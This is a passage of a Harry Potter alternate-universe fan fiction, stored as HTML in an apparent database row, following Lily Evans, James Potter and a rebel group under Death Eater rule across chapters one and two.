untrustworthy impression. He wore the dirtiest street rags, and looked\nas though he belonged in the musty alleys polluted with blood and death. Yet\nshe had trusted him from the first moment he had opened his mouth. It had been\na horrible shock to find out he was a wizard, and a pureblood at that. He had\nnever given any reasons for his predicament, merely, passing some textbooks to\nher and her sister. They were dog-eared and looked used over and over again,\nbut they were fascinating. They told of flowers that could be conjured from\nwands, people who could turn into another, charms that could make things fly&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She did not have the talent, and she still bore the sharp\npain of regret that she was second-class and worthless, as her sister had told her.\nPetunia was magical, and she was not. A knot of anger rose in her throat. Did a\nlack of magic mean that they were worthless? Muggles\nhad already found ways to conquer their supposed handicap, such as making torchlights, street lamps, movies\nto replace moving pictures&#8230;They were strong. She did not believe this insane\ncraziness that she lived in would continue for much more. One day, someone\nwould topple the Lord &#8211; she hoped she would be the one. The boy had smiled\ncryptically when she had asked him what the books were for, and answered that\nshe would know in due time. He had returned regularly to provide more, and then\na rod that she knew was definitely a wand &#8211; she had seen the matron using hers\nat times. Petunia had snatched it, performing charms such as turning her hair\ngreen just to spite her. Strange things did not happen around her, but they did\naround Petunia. She was born with magical blood. Was it a sin to hope that she\nwas too? She still held lingering hopes that she had just been suppressing her\npowers, and was not a true Muggle. The previous day,\na squib had just been burnt at the stake for disobedience. They had learnt\nsilence in no time at all. No one questioned the matron, and lived. They knelt\nbefore Death Eaters; kissed pictures of the Lord all of the time, learning\nnever to touch another of higher status than themselves. A\nlife of silent imprisonment. The boy, who had never given them a name,\npromised that they would have a better future, but by his looks, he was far\nfrom it. There was an all-encompassing hope and belief in his cause, and Lily\nhoped it would come to be. If not for her, then for the boy she had come to\nview as a friend who brought her out of the monotonous day-by-day life in the\norphanage.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her shoe squished in the soft mud that was scattered on\none side of the alley, and she grimaced. She had been out running errands for\nthe matron, and had ended up queuing for hours for pickled toad eyes. She would\nsurely get a beating when she returned, she sighed. The matron was not known\nfor her leniency. In fact, she had been chosen for the position at the\norphanage because of her strict teachings. Europe had\nbeen taken over by the wizards, and today only America, Asia and Australia\nremained free. Africa was of no concern to the\nwizards, but they had taken great satisfaction in rampaging Great\n  Britain. Girls disappeared from dark\nstreets all the time at night, and she had to make good time and get back\nbefore anything bad happened. Her hands were suddenly clamped behind her back\nas though a vice had gripped her in its trap, and her mouth silenced. She tried\nto scream, but no sound came out as she was abruptly gagged. The trembling\nfigure of a house elf appeared in front of her, bulging green eyes shining with\napology. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry, miss&#8230;Master wanted a pretty lady for his newest\nfriend tonight,&#8221; the elf mumbled, staring at her. She struggled against the\nrobes, biting the elf as he came closer and kicking ferociously, trying to get\nfree. She would not be taken as a whore to some Death Eater! The elf twisted\naway and flicked his fingers. She was caught up immediately in some sort of a\nviolent miasma that churned its way through the streets and into an elegant\nhouse she recognized as one of the most prestigious Death Eaters&#8217;. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lily Evans realized she was in more trouble than she ever\nwanted to be. She almost wished she was with Petunia right now, listening to\nher derisive taunts and angry snaps at her. She kicked the elf again, but there\nwas no doubt to her fate now. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well, she deliberated quickly, at\nleast she would get to see what happened to those abducted girls who were never\nreturned. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was a swift shadow in a place where all things were\ndark, adding to the mysterious atmosphere that hung heavily around them. He\nleft no traces behind, his feet travelling faster than the wind. There was a\nmission to be completed, and he had to make haste if he did not want to be\ncaught. The breeze sang along with his thudding feet on the ground as he ran\nwildly through vegetation and thorns, which he knew would be healed once he\nreached his destination. The centaurs were long extinct in Britain,\nexterminated ever since Grindelwald began his reign.\nBut their healing powers survived in some of the last, who were where he\nsought. They would make a good addition to his cause. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The leaves rustled, adding to the soft symphony of running\nfeet and the trees as light gave him direction, telling him that he was nearing\nhis target. The moon hung high and thin in the sky, the clouds covering most of\nthe black velvet surface. The dots that were stars and planets glimmered\nfaintly, and he tipped a swift salute with one hand, his hair caught up in the\nwind and beginning to wet with perspiration. Almost there, he reminded himself\nas the light grew brighter. It was not wise to have a bonfire up in these days,\nbut they were only smoking beacons by the time anyone got close to finding\nthem. Today they would be extinguished once he found his target. Caution, and\nconstant vigilance, as Alastor would say, he smiled. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He slid smoothly into the hole that was hidden beneath\ncamouflaging leaves, and muttered a spell quietly to remove all traces of the\nbonfire, the quiet chirps of the birds in the trees restlessly stirring his\ndanger sense. It was the nights that were good for him, not the terrible days\nwhere he and his friends were given free rein. Many had already defected away\nto the other cause, and with good reason too. Other\nthan killing machines, they were vermin in the eyes of the rest of them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The small underground chamber was lit by bright electric\nlights that harnessed the abandoned connections that the Death Eaters had\nignored in their quest to remove all street lights. The free electricity was a\ngreat lure for the operations of the quiet society that he belonged to, the light\nalmost blinding him by their brightness. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Evening, Remus,&#8221; a familiar\ndeep voice greeted from behind him. He turned, offering a tired smile. The\nintensity of the run was getting to him, he assumed. Albus\nDumbledore remained as regal as ever even in mended and patched grey robes, his\nlong pristine beard giving him a sense of great power. Indeed &#8211; Grindelwald had perished against him even after he had won\nHogwarts with the help of one Tom Marvolo Riddle that\nday. It was disorienting how the man could still remain cheerful even after\nlosing all freedom and being driven to the underground, but Dumbledore would\nalways remain a mystery to him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Was the mission successful, sir?&#8221; he said politely,\ndusting leaves off his skin and robes, and casting quick spells to mend them\nwhere they had torn during the wild run. &#8220;Something serious must have happened\nfor you to call me here so urgently.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Indeed,&#8221; Severus Snape said from behind him, his thin voice as unsociable as\never. The man was a menace by all standards, but a brilliant prodigy in the\nareas of Potions. He had invented the Wolfsbane\nPotion, which he had been outlawed for, at fifteen. That was three years ago.\nHe fitted the eccentric profile of a intelligent\nscientist and Potions Master, though his age was far from the standard\nrequirement. It was rare to see him with a smile on his face, but Severus wore the biggest grin he had seen yet on the quiet\nman. &#8220;The two Evans sisters have&#8230;been learning magic, though I have reasons to\nbelieve Lily is estranged from her powers. We are making headway in educating Muggle-borns.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s excellent,&#8221; Remus\nreplied, his expression one of relief. It had always bothered him that Muggle-borns did not receive education, though he, as a\nwerewolf did. His mother had been Muggle-born, and\nshe was murdered a few days short of her birthday. His father died of a heart\nattack days later. He had remained valuable because of his affliction. &#8220;But\nthat&#8217;s not the point, is it?&#8221; Albus nodded, patting Remus on the back proudly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You always were astute, Remus,&#8221;\nSeverus commented dryly, handing him some documents\nand notes. &#8220;Sirius has&#8230;gone undercover again. He has successfully become our\nnewest target, James Potter&#8217;s house pet.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What about Minerva?&#8221; Remus\nasked, slightly concerned for the witch who had taught him both\nTransfigurations and Charms, having been like a surrogate mother to him until\nher connections to the underground Resistance were discovered, and she was\nalmost executed, then saved from the curse by a timely attack that had taken\nout more than thirty Death Eaters. &#8220;How is she holding up?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, that&#8230;&#8221; Severus shook his\nhair free of the dust and grime that was beginning to congregate there due to\nhis surroundings, an optimistic smile on his face. &#8220;She&#8217;s being pampered at the\nNotts, and taking in great information in the\nmeantime. No need to worry.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There&#8217;s something even more important, though,&#8221; Albus continued Severus&#8217; speech,\na happy twinkle in his blue eyes which had seemed lifeless for a few days when\nhe had learnt one of his students had become the newest Dark Lord to terrorize\nthe wizarding world. &#8220;We have reason to believe&#8230;James\nPotter chose a certain Evans sister at a Dark Revel tonight.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Marvellous,&#8221; Remus breathed, a grin appearing on his face to match that\nof Severus&#8217;. &#8220;Around someone as powerful as he is,\nshe will discover her powers in no time. And away from Petunia&#8217;s influence&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sirius informs us that he is&#8230;benign and kind, very much\nunlike the profile we sketched out of him,&#8221; Severus\nadded. He and Sirius were enemies who had grown up together, competing with\neach other for everything until the Blacks had been murdered in cold blood and\nthe Snapes exterminated. They had banded together as\nloyal allies, vowing to avenge their own families. Somehow, the enemies had\nbecome friends. In a war, anything could happen. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So there is a chance he may be drawn to our side,&#8221; Remus whispered. James had been a childhood friend, and he\nhad been visibly disappointed when James was drafted into the newest recruits\nof Death Eaters. He had been a kind wonderful person who thought of others\nbefore himself, with abject loyalty to the Lord. If only he could see the\nlight&#8230;both literally and metaphorically, of course&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Joy,&#8221; Severus said\nsarcastically beside him, jerking him from his reverie. There was still much to\nbe done, and he was musing here. &#8220;No matter how well things have been, Remus, we must watch out for the Death Eaters. We must be\non guard. Potter may not come to our side. They may destroy everything.\nComplacency may destroy us.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know,&#8221; Remus nodded in\nagreement. Severus was a realist, and he always\nproved it by injecting some pessimism to motivate the rest of the Rebellion. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I suggest you get some sleep and a bath, Remus,&#8221; Albus chipped in,\nsmiling. &#8220;It will decrease suspicion tomorrow.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, sir,&#8221; Remus smiled,\npulling out his wand to Apparate. Severus\nand Albus did the same seconds later, leaving the\nsmall room deserted once again. No trace of any meeting was left, the notes\nincinerated long ago. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And all the Death Eaters found was ash hours later, blown\ninto who knows where, and fused electric bulbs they could not bear to touch.\nOnce again, the Rebellion had evaded them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">*</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: All characters mentioned in this story belong\nto JKR, great owner of the Harry Potter universe. No money is being made from\nthis. </p>\n\n\n\n\n\n\n'),
	(57, 2, '\n\n\n\n<p align="CENTER">BROKEN MIRROR </p>\n<p align="CENTER">Or <i>The World That Never Was</i></p><i>\n<p align="CENTER"></p>\n</i><p align="CENTER">Chapter Two: The Renewed Prospects Of A Shattered Beginning </p>\n<p align="CENTER"></p>\n<p>&quot;Useless buffoons!&quot; Reginald Malfoy almost yelled, his composure all but gone as he heard of the unsuccessful raid on a rumoured Rebellion cell. At times, when the Death Eaters under his charge had forgotten to cower and beg for mercy, they would recall the gradually increasing number of white hairs in his formerly bushy hair. His son would not be the next leader, and relief would course into their veins giving life-sustaining courage as they prayed that the next one would be less hard on them. But the Lord was driven, and so they should be too. Their attention was directed from the stone floor back to the almost exploding Malfoy by a heavy thump on the desk with his oak mallet. It did not seem to give him any more wisdom or leadership. </p>\n\n<p>Evan Rosier, who was at the head of the party being admonished by the outraged Malfoy wondered where his bosom pal James was. He was probably wading through the paperwork a governor had to do, and enjoying that lass he picked up at the Dark Revel the previous night. The lucky boy had been chosen as one of the youngest to attend a Dark Revel. It was a great honour to be invited to the special gatherings of the noble and senior Death Eaters. There was a rumour that Reginald was considering adopting James as a godson circulating, especially after the favour he showed the younger Death Eater was first seen widely. His friend&#8217;s meteoric rise to great power was partly due to his mother&#8217;s loyalty to the Lord, of course. Geraldine Potter&#8217;s exploits were often mentioned as teaching examples for the Death Eater Supplementary Training Class in seventh year, and they had all grown up on the tales of legendary seniors before them, and dreamt that they would one day serve their lord as well as they did and exterminate the Rebellion. </p>\n\n<p>&quot;&#8230;you will be terminated from existence&#8230;&quot; Malfoy&#8217;s booming voice echoed the sound of his old principal, whose voice had been almost the same chill when he had announced a terrifying verdict to a friend of his. He almost shivered as he had so many years ago when it had first been announced in the dark Great Hall. The boy whose verdict it was only accepted it calmly and defiantly, arguing why he should be sentenced. The shock of Severus Snape&#8217;s expulsion in fifth year had remained deeply etched in his mind. They had been close friends since young, their families like one and the same. He had felt sad but also outraged that his bosom friend had dared to breach the law that their Lord had set &#8211; that no werewolf was ever to be aided or healed. Any sabotage that would help the Rebellion was punishable by death. His friend had shown a peculiar affinity with Potions, which undoubtedly would have earned him a place in the Inner Circle of their Lord. Yet, he had gone and drugged Remus Lupin with the potion he called Wolfsbane, and left the boy asleep on the full moon. He had earned four lashes, while Severus was sentenced to death. He had escaped with the help of the Rebellion, and was since then labelled an outlaw. Thankfully the Wolfsbane had not been a very accurate cure, just a potion that rendered werewolves ineffective at full moon for hunting. Or else, his friend would have been hunted down by now, instead of only being left with a small bounty on his head that no one would want to waste their time on. </p>\n\n<p>Albus Dumbledore&#8217;s removal from the school together with many of his loyal allies had enabled a new curriculum to be set up. Effective and useful classes such as the Supplementary class for Death Eaters, Dark Arts, and History Of Magic that was taught by a venerable Dark Wizard instead of the pathetic Professor Binns made the school strong and impenetrable. The mere mention of the name Dumbledore would make any loyal to the Lord angry. He had killed the previous Lord in cold blood. He was a murderer who deprived the world of a good leader and kind man. Rosier shut his ears to Malfoy&#8217;s ramblings, busy imagining the various ways he would torture the old man if he caught him. It was a good pastime that he resorted to whenever Malfoy gave one of his supposedly inspirational speeches. The tirade finally ended when he was casting the Cruciatus Curse for the seventieth time on the old crackpot who was the centre of his thoughts, and he shuffled out thankfully together with his comrades. </p>\n\n<p>&quot;And you, Rosier!&quot; Malfoy&#8217;s strident roar summoned him back, albeit reluctantly as he turned on his heel and bowed to the man. Maybe he would go insane soon, Evan wished, daring a peek at the man&#8217;s countenance. His robes were dusty from the ash that had been blowing around in the meeting room they had discovered. Remus Lupin was not always accurate when giving information, but he usually had something to report. This time, it was more rebellion in Surrey. James would have a bad time there controlling the crowds. </p>\n\n<p>&quot;Yes, sir?&quot; he replied meekly as he bowed, still keeping a tone of hidden danger in his voice. The Lord taught that intimidation could be achieved with the voice, the expression and the body language. He had tried his best to hide an underlying menace in his words, but they often backfired on him instead of helping. To his surprise, Malfoy&#8217;s expression seemed to soften slightly as he gazed at him. </p>\n\n<p>&quot;You&#8217;re a good Death Eater, Rosier. Work hard, and you will find the Lord&#8217;s favour is near. Do not fail me or the Lord again,&quot; Malfoy conveyed, a serious smile on his face. Rosier returned it and bowed deeply once again, before leaving the room, pride written clearly on his face. Malfoy the perfectionist had praised him. All the overtime he put in over the past few months had worked, indeed, though James had gotten an even better post despite the lesser work he did. He often wondered how he had gotten promoted so fast, but never came to a conclusion. James had always been good at Transfiguration, so perhaps it was the fact that he had aced his Animagi class. Animagi made good spies and gathered information with ease. Minerva McGonagall had hidden her distaste for the regime well, but she was found out in his seventh year. No one had seen her Animagus form before, though, and those who did didn&#8217;t seem to want to give it away. Thus, no one had caught her yet. </p>\n\n<p>He smiled. It was time to celebrate. Perhaps he would ask Cleantra out for a drink or two at the Three Broomsticks&#8230;</p>\n\n<p>&quot;<i>Stupefy</i>!&quot; </p>\n\n<p>Evan fell to the ground unconscious as unknown hands cast spells to lift him away.</p>\n\n<p align="CENTER">*</p>\n\n<p>Lily crashed unceremoniously in a pile onto the Death Eater&#8217;s body as they appeared in his room. The travel had been swift, as magic always promised, but she was already becoming queasy at the thought of what was about to come. He took her back to his home, and his room too &#8211; there could only be one reason for that. She was almost afraid to look at him, knowing she would be his victim soon. Her eyes darted around the austere room, decorated simply in black and white. Not out of her own accord, they travelled to the bed. She gulped and averted her eyes. </p>\n\n<p>&quot;Are you okay?&quot; he asked, seeming concerned. Lily furrowed her eyebrows. A Death Eater, concerned about a Muggle? That was a strange thing and an understatement, at that! She swallowed and tried to gather what was left of her wits and courage. There had to be some way out of this place. She licked her lips, her mouth having gone dry suddenly. A masculine, large hand appeared in front of her, and she gazed up at the Death Eater in surprise, then to his hand. A Death Eater, offering his hand to a Muggle? That was even more inconceivable. Most Death Eaters felt that they were filth which should not be touched. On impulse, she took his hand and was gently lifted from the ground as though she was as light as a feather. She blushed as she realized horrified that she had tainted the hand of a dignified Death Eater, then wondered why she was scared about it. After all, he had chosen to hold her hand. It felt warm and wonderful against his skin, anyway&#8230;the boy she had seen in her backyard was warm too, but not like his palm was, slightly callused and&#8230;She quickly drew her hand away, bowing her head. </p>\n\n<p>&quot;I&#8217;m sorry for my insolence, sir,&quot; she managed to force out even though the defiant indignant feeling that swelled up in her whenever something that she hadn&#8217;t done was blamed on her was appearing to wreck havoc once again, trying not to catch his eyes. She wondered what colour they were. Surely they were a warm colour, just like his hands were&#8230;Brown, perhaps? Or blue&#8230;Cut it out, she scolded herself. It was not her place to be thinking about Death Eaters who are far above her. But Death Eaters were oppressors, it was better to think of them as vermin. This one had just saved her though&#8230;</p>\n\n<p>&quot;You don&#8217;t have to apologize,&quot; the Death Eater standing next to her said. She had the distinct feeling that he had just smiled, but could not see for sure because he was not in her line of view. Before she knew it, he had slid a finger under her chin and lifted her head. Her eyes met his abruptly, and her mind went blank as she absorbed his features like a ravenous creature eating his first meal in years. He had the loveliest brown eyes that stared kindly at her, his lips in a sincere smile that seemed to light up his face. He had unkempt midnight hair that looked as though it was untamable. She wondered how it would be like to touch his hair, then recalled it was a Death Eater she was looking and salivating at. Her cheeks felt hot with a blushed. And then he spoke, and she felt as though his friendly voice was that of an angel. A fallen one, probably, but&#8230; &quot;I offered you my hand.&quot; Suddenly, as though he had begun to remember the discrepancy between their statuses, he let go of her chin and assumed a more serious, severe expression that looked as though it did not belong on his boyish face that was slightly tinted with a day&#8217;s stubble. </p>\n\n<p>&quot;Where do you live?&quot; he asked. &quot;I will send you home.&quot; </p>\n\n<p>&quot;You&#8217;re&#8230;you&#8217;re not going to do anything to me?&quot; Lily squeaked, gaping at him in surprise even though she knew after what he had just done he would not offend her in any way. For once she had met a Death Eater who was a true gentleman. He had not made any move to do anything to her yet, except lifting her chin and that had felt strangely wonderful, the touch sending little tingles down her neck and body. She found herself wishing he would touch her again, perhaps hold her hand, then vanquished those thoughts swiftly. He was a Death Eater, she reminded herself sternly. One of those who dictate those laws that keep you so downtrodden. She wondered why she was debating with herself, but decided to ignore her inner voice. </p>\n\n<p>&quot;Why should I?&quot; he retorted, his eyes filled with true surprise. &quot;I would never do anything like that.&quot; </p>\n\n<p>&quot;Oh,&quot; Lily muttered, blushing again. How far could her mind get deep in the gutter? She almost wished she could twist into some hole nearby that would appear magically. Almost immediately a small black hole large enough to fit her in appeared on her right. </p>\n\n<p>&quot;I can understand how you feel,&quot; the Death Eater chuckled, grinning boyishly as he plopped down rather unceremoniously on the carpeted ground, waving a hand to make the hole disappear. &quot;Have a seat?&quot; </p>\n\n<p>&quot;A seat?&quot; Lily felt the blush on her cheeks deepen as she heard her woefully silly answer to the question. It was implausible for a Death Eater to be asking a Muggle to sit, but it was happening to her right now, and it was only right for her to feel surprised. </p>\n\n<p>&quot;Only being polite, of course,&quot; the Death Eater added hurriedly, as if he had heard her thoughts and realized how out-of-character he was acting for someone of his status. He looked uncomfortable as he realized he was sitting in a rather undignified way in his own room. </p>\n\n<p>&quot;Well, you can&#8217;t help but be at ease in your own bedroom,&quot; Lily remarked, smiling before she caught herself, eyes widening in horror. She had just been rude to a Death Eater. She was in deep trouble. She licked her lips again, wondering what Petunia would likely do to salvage the situation. To her surprise, he laughed uproariously. </p>\n\n<p>&quot;You&#8217;re right, really&#8230;that&#8217;s the reason why I only bring my friends in here&#8230;&quot; he gasped between guffaws. &quot;Don&#8217;t want my superiors seeing me this way.&quot; </p>\n\n<p>&quot;I like you this way,&quot; Lily blurted out, before clapping a hand over her mouth in mortification, wondering what kind of food she had taken last night to make her say so many stupid things in the space of a few minutes. Perhaps she really was going insane and seeing things, as Petunia told her whenever a book zoomed at her out of nowhere or cutlery flew up in the air without her knowing. She stared at the Death Eater, hoping he would not be offended. He was blushing too. </p>\n\n<p>&quot;I guess I better send you home now,&quot; he mumbled quickly, trying to bridge the silence that had sprung up like a wall between them. He got up from the floor, his black dress robes billowing around him like a black cloud. Lily followed his actions, although her shabby dress appeared to be falling to pieces instead of floating around. </p>\n\n<p>&quot;Won&#8217;t it be&#8230;suspicious if you send me home like this? Will you&#8230;will you get into trouble?&quot; Lily asked, concerned. She recalled a friend who had also been taken, and had never returned but was allowed to post letters. A bird trapped in a gilded cage. She had told them about the torture she suffered and how the son tried to save her, but had been beaten for trying. For some reason, she was worried that the same might happen to the man that stood before her now. </p>\n\n<p align="CENTER">*</p>\n\n<p>James reeled back in shock at her question. He knew he was gaping, his mouth wide open in a manner unbefitting the supposedly dignified and respected Death Eater, but he had not expected something like this. Muggles were supposed to be proud and arrogant, thinking they were better than any wizard or half-blood who had magic. They thought highly of themselves and often rebelled against them unless controlled with a few deaths or so. But she was concerned about his well-being, and looked genuinely so. How could it be possible that a Muggle actually thought of a wizard not as someone lesser than she was, as a freak? Perhaps that was what made her special. He had taken a closer look at her when he had gotten back in his safe home, and realized how pretty she was. No, not pretty, beautiful was more fitted to the context. She was endowed with silky red hair the shade of burning fire that looked enchanting even though it was dusted lightly with dirt, her eyes sparkling emerald green that was like glass in the glazed windows of the churches the Muggles had, with a hundred shades of different green. Her face was oval and she had a smile that lit up her eyes and made her even more beautiful. He had always believed that Muggles were plain and ugly, making them inappropriate for the more elegant company of the loveliest ladies of the wizarding world or even their own mundane angels. She looked like one of the angels to him, and would probably not stand out at one of the balls the Death Eaters held once every few months. She was tall and svelte, her slender form enabling her to look directly into his eyes if she raised her head a little. She was just&#8230;perfect even though that shabby dress only served to make her look destitute. He bit his lip, pondering how a Muggle could look so lovely, then realized she was still waiting for an answer. </p>\n\n<p>&quot;Come to think of it, it will look suspicious,&quot; he replied quickly, giving her a lopsided grin. &quot;I&#8217;ll hide you here for a few hours before I send you back, pretend you&#8217;re my newest mistress or something.&quot; He did not expect her to choke slightly and turn red. After all, his seniors in the Death Eater circles had told him that most Muggle women were sluts with low morals, but she did not feel like that. From young he had been able to feel how people were like, almost as though he could feel out their character. He had known Lucius Malfoy&#8217;s character the first moment he had shook his hand on the Hogwarts Express, and politely ended any chances of friendship. His talent proved valuable over the years, making him friends and good connections that did wonders for his education. His mother called him the Character Detector. She had felt&#8230;warm to him. Warm but unknown &#8211; a mystery. She was the first person he had felt was special, but did not know what she truly was. </p>\n\n<p>&quot;You don&#8217;t mean that...that you&#8217;re going to&#8230;&quot; she stammered, staring terrified at him. Obviously the horror stories of some Death Eaters taking second wives had spread, even though James knew that most were treated very well. They deserved their beatings, when they were disobedient, of course, he thought. </p>\n\n<p>&quot;Of course not,&quot; he smiled. &quot;Just a fa&#231;ade, that&#8217;s all. To keep you safe. You&#8217;ll be snapped up soon if no one takes you.&quot; The horror in her eyes only increased. </p>\n\n<p>&quot;Why&#8230;why are you helping me? Is there a price I have to pay?&quot; she whispered quietly, bowing her head. </p>\n\n<p>&quot;No! Why should I ask for payment?&quot; James questioned, before understanding her meaning. &quot;Oh,&quot; he muttered. &quot;Well, you should make yourself comfortable, and&#8230;&quot; </p>\n\n<p>&quot;I don&#8217;t even know your name,&quot; she said meekly, raising her eyes to look at him with a docile expression in them that only served to make her look even more charming. For a moment, James thought his heart had stopped beating. Then she snapped to attention, a smile fixed quickly on her face that looked very forced and compelled. </p>\n\n<p>&quot;I&#8217;m Lily Evans,&quot; she introduced, offering a pale hand with a couple of burns that looked like they came from the kitchen. One looked suspiciously like a slash from a failed potion, though, but James decided to ignore it. Taking her hand was already a very ludicrous idea, and any other Death Eater would have taken offence. For a moment, he hesitated to return the gesture. When he was about to offer his hand, she had withdrawn hers awkwardly, bowing her head. </p>\n\n<p>&quot;James Potter,&quot; he replied, brushing back some of his messy hair that had decided to plague him again by blocking his vision. He should get it cut soon, he thought. It was getting too long. She stared at him in slight surprise, and then smiled. </p>\n\n<p>&quot;You&#8217;re James Potter? The new governor?&quot; she said almost in disbelief. </p>\n\n<p>&quot;At your service,&quot; he responded, grinning widely as he performed a sweeping bow. </p>\n\n<p>&quot;You&#8217;re&#8230;you&#8217;re&#8230;&quot; she was at a loss for words, gaping like a goldfish out of water. </p>\n\n<p>&quot;So young?&quot; he offered and she nodded mutely. &quot;I&#8217;m surprised too, but never mind. You must be hungry.&quot; He changed the topic quickly. His resemblance to the Lord before his transformation was always an issue to the other Death Eaters, who gossiped viciously that he was probably the illegitimate son of the Lord. Still, he bore no offence against them. The Lord had no relation to him, and he would not dare risk his life by claiming so. He clapped his hands and the house elf appeared. </p>\n\n<p>&quot;Feed Padfoot, and give Miss Lily whatever she wants except departure from my room unless into the library,&quot; he ordered harshly, and the house elf bowed quickly as proof that he had heard the master&#8217;s orders. House elves in the Potter house were shushed with a Silencing Charm to prevent any excess noise from them. Geraldine had personally &#8216;treated&#8217; herself. It disappeared into thin air and James turned to see Lily with a curious look on her face. </p>\n\n<p>&quot;House elves,&quot; he explained, and she answered his comment with a soft &#8216;oh&#8217;. &quot;Clap your hands and tell them what you want. You have limited access to the library &#8211; that means only fiction books and at some times when my mother won&#8217;t see you until we move to my new residence. When will you like to return to your home?&quot; </p>\n\n<p>&quot;I don&#8217;t have one,&quot; she mumbled, and he looked apologetic, but only for a fleeting second. &quot;I live at an orphanage with my sister and other people like me.&quot; </p>\n\n<p>&quot;I&#8217;m sorry,&quot; he said almost sincerely, laying a hand on her shoulder before pulling it away like she was a white-hot iron. &quot;I&#8217;ll see you then. I have to go finish up the paperwork, and you can tell me when you want to return.&quot; She nodded meekly, and he left the room using floo powder. He did not realize how lonely she felt despite the company of many material things in his room, and she did not expect him to. She could not help but feel as though she was trapped </p>\n\n<p align="CENTER">*</p>\n\n<p>Severus Snape stirred the slowly simmering liquid in the battered pewter cauldron in front of him, making sure the fire was just right for the potion. It was immensely difficult to brew this particular concoction and if he succeeded in making it, it would aid the Rebellion greatly when they needed information. He was almost thankful for becoming an outlaw, for that had freed him from the constricting laws of the Lord&#8217;s dictatorship. His parents had been executed on the day he was due for termination. The cold term used to deal with the murder the Death Eaters committed regularly still bothered him. He had watched his parents die, their heads chopped off by an invisible blade conjured from some mysterious Dark source. Then the Rebellion had blasted in, wands raging with righteous spells that stunned most of the Death Eaters, and untied him from his post where he was barely conscious after about a few hundred-odd lashes of the whip from Walden MacNair, the executioner, who escaped with metaphorical tail between legs. In those last moments of consciousness the last person he had seen was Albus Dumbledore, asking him if he was fine. Others were gathering up his parents&#8217; remains with care, cordoning off the area as quickly as possible to prevent alarms from being sent. They had Apparated him away, and he had awakened in the care of Poppy Pomfrey, a kindly woman who was a few years older than he was. </p>\n\n<p>And so began his career for the Rebellion, which involved sneaking around underground in basements, arranging meetings and swapping information, making secret hits and some small attacks on Death Eaters. Still, they did not have enough personnel to start an all-out war against the Lord himself. Their objectives was to give the Muggles freedom and equality, and so he had proposed helping them and teaching them magic. In another two hours he would be delivering things again. Petunia Evans had had enough help, and knew most of the basics of magic. A Rebel operative would bring her underground soon to begin the rest of her education. She was one of many who had begun learning magic, but according to Sirius&#8217; information, the Death Eaters had begun picking up on the increased magic in the area. They would have to split headquarters again to prevent capture. </p>\n\n<p>He would forever owe a debt to Albus Dumbledore, and he would spend the rest of his life willingly in the Rebellion if he had to. No one would have cared enough to gravely bow to his parents after burying them with what ceremony they could in the Rebellion. Everything was tattered and poor, but he felt free and wonderful here within this handful of beggars. Not many knew all the rebel operatives, but Albus had once shared with him a hope &#8211; that one day they might call themselves something other than the Rebellion and walk free in the sunlight instead of running like sewer rats every day and night. He had grown increasingly paler from the lack of sun, but he knew Dumbledore had risked his life coming personally to save him from the execution. His bounty had been upped by one million Galleons because of that, and he had almost been caught the day he was in transit. </p>\n\n<p>The liquid bubbled lightly, and he stopped stirring it. It popped and became a bright royal blue, then exploded into fiery red, and finally began to fade. The last few times, he had ended up with an impure concoction. If it was a success, according to theory, it should be crystal clear and without any solids within. It would be a great spearhead for the Rebellion if it worked. The red faded into magenta, then dusty rose pink, and at last, pale pink, and then&#8230;crystal clear liquid. He smiled triumphantly, scooping the liquid into vials quickly and getting rid of all traces of his brewing a potion here. It was time to inform Dumbledore of the favourable results. If the potion worked&#8230;A guinea pig entered the room laden with new information through floo, her wayward blonde hair pinned firmly in a bun. Severus&#8217; eyes lit up. </p>\n\n<p>&quot;Arabella!&quot; he grinned, reaching for the vial of clear liquid near him. Perfect. Arabella was a trained liar and an excellent operative. If it worked&#8230;</p>\n\n<p>&quot;Something&#8217;s wrong. You&#8217;re not usually that nice to me,&quot; Arabella looked at him through her square glasses, her eyes almost piercing through his elation. &quot;Or that happy, for that matter.&quot; </p>\n\n<p>&quot;Oh, not at 